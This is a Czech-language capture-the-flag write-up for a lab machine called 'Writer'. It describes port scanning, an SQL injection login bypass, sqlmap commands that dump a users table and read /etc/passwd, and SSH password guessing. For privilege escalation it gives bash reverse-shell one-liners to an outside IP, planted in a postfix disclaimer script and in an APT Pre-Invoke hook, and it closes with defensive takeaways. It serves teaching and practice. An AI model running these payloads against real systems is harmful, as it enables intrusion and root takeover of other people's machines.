Writer
Úvod a kontext
Writer je vícekrokový řetězec, kde SQL injection v admin rozhraní sama o sobě nestačí. Přinese dump databáze a čtení souborů, ale skutečný foothold vznikne až po propojení těchto dat s účty v systému a následném brute force na SSH. Odtud se pak útok přesune do poštovního workflow a nakonec do APT hooků.
Je to dobrý stroj pro vysvětlení laterálního pohybu v rámci jednoho hostu: www-data nestačí, kyle nestačí a teprve kombinace skupin filter a management otevře cestu až k rootovi. Zároveň je to pěkný příklad kombinace password reuse mezi aplikací a SSH a zápisu do důvěryhodného workflow.
Počáteční průzkum
Vyhledání otevřených portů
Nejdřív mapuji veřejné služby:
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Vedle SSH a SMB je hlavním cílem web na portu 80, protože právě ten nabízí administrativní vstupní bod.
Enumerace webu
Enumerace cest odhalila zajímavou stránku:
/administrative
To je přirozený kandidát na testování autentizačních chyb a SQL injection.
Analýza zjištění
SQL injection v /administrative
Login formulář byl zranitelný vůči jednoduchému bypassu:
Username = ' OR 1=1; --
Po potvrzení injection už dávalo smysl přejít na sqlmap. To umožnilo nejen dump databáze, ale i čtení souborů přes DBMS. Praktickou roli tohoto workflow rozebírám i v článku sqlmap:
sqlmap -u http://10.10.11.101/administrative --data="uname=iron&password=man" --method POST -T users --dump
sqlmap -u http://10.10.11.101/administrative --data="uname=iron&password=man" --method POST --file-read=/etc/passwd
Z databáze vypadl admin hash:
118e48794631a9612484ca8b55f622d0
Ten ale nebyl hlavní výhra. Důležitější bylo, že čtení /etc/passwd odhalilo relevantní lokální účty:
kyle
john
filter
Proč následuje SSH brute force
Ve chvíli, kdy jsou známé lokální účty a žádné přímé webové RCE ještě nevzniklo, je rozumný další krok otestovat reuse hesel přes SSH. Právě to vedlo k přihlášení:
kyle / marcoantonio
Získání přístupu
SSH jako kyle
Přihlášení:
ssh kyle@10.10.11.101
Po něm bylo možné potvrdit user flag:
cat user.txt
__CENSORED__
Zároveň bylo důležité členství ve skupinách:
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),997(filter),1002(smbgroup)
Skupina filter byla klíčem k další fázi.
Eskalace oprávnění
filter a postfix disclaimer
Jako člen skupiny filter mohl kyle upravovat soubory v postfix disclaimer workflow, konkrétně /etc/postfix/disclaimer. To je důležité proto, že tento skript zpracovával odchozí poštu v jiném uživatelském kontextu.
Stačilo do něj vložit reverzní shell:
/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.11/4000 0>&1'
Při dalším zpracování pošty se payload spustil a poskytl přístup k citlivým souborům uživatele john, mimo jiné k jeho privátnímu klíči:
/home/john/.ssh/id_rsa
Tím vznikl další pivot:
ssh john@10.10.11.101
management a APT hook
Účet john byl členem skupiny management:
uid=1001(john) gid=1001(john) groups=1001(john),1003(management)
Tato skupina měla zápis do /etc/apt/apt.conf.d, což je zásadní detail. APT podporuje hooky jako Pre-Invoke, takže pokud root pravidelně spouští apt update, stačí do této cesty vložit vlastní konfigurační soubor. I tady jde o write do prostoru, který za chvíli zpracuje privilegovaná automatika.
Například:
apt::Update::Pre-Invoke {"/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.11/4000 0>&1'"};
Po dalším běhu APT se příkaz provedl jako root a vznikl root shell. Následně už šlo přečíst root.txt.
Shrnutí klíčových poznatků
- SQL injection zde sloužila hlavně jako zdroj informací: účty, hash a čtení
/etc/passwd. - Stabilní foothold vznikl až z reuse hesla na SSH pro účet
kyle. - Přechod na
johnstál na write přístupu do postfix disclaimer workflow přes skupinufilter. - Root část otevřela až skupina
management, která dovolovala zapsat APT hook spouštěný později rootem.
Co si odnést do praxe
- SQL injection je potřeba hodnotit i podle sekundárních dopadů. Nemusí dát shell přímo; často stačí, že odkryje účty a tajemství pro další protokoly.
- Obslužné workflow kolem e-mailu, disclaimerů nebo filtrů bývá podceňované. Jakmile do něj může zapisovat neprivilegovaný uživatel, vzniká další execution hranice.
- Skupinový write přístup do
/etc/apt/apt.conf.dje prakticky root. Konfigurační adresáře systémových nástrojů musí být chráněné stejně přísně jako samotné binárky.